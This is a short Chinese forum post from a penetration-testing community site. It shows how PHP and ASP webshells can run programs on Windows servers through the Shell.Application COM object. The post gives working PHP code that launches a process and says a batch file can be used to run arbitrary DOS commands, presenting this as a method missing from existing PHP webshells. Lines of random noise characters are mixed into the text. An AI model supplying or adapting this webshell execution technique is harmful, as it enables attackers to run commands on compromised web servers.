中国网络渗透测试联盟
标题:
php和asp利用Shell.Application来执行程序
[打印本页]
作者:
admin
时间:
2012-9-15 14:29
标题:
php和asp利用Shell.Application来执行程序
关于用Shell.Application来执行程序，在海阳顶端asp木马里已有示例。用的是ShellExecute 这个方法。
( | b" V8 h0 m) O
0 V- m& F$ ?7 {. B# k' R+ z+ T2 F
今天试了一下，用open也可以。php代码如下，我好像还没有在php的webshell中看到相关方法
2 o% O4 [+ \+ a! l# K; g; ?9 m9 @
- Z7 j( _: C& o. P
<?php
* Z, O. h( W+ D4 ^5 q+ {
$wsh = new COM('Shell.Application') or die("Shell.Application");
7 H% H1 i- T. A9 g J0 Y
$exec = $wsh->open("c:\\windows\\system32\\notepad.exe");
% B: M I8 i: l; T* K* x( d
//没有回显，多了个notepad进程，可以写一个批处理来运行dos命令。open换用ShellExecute 也可。
- K3 i: `5 a' @ e/ A! Y; n& F) g* G. g
?>
8 `: F) J+ k9 o3 E# }
4 |, a/ A3 S* t4 D
xp+APMServ5.2.0测试通过。
: t$ Z7 ~1 G0 I1 T" m
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2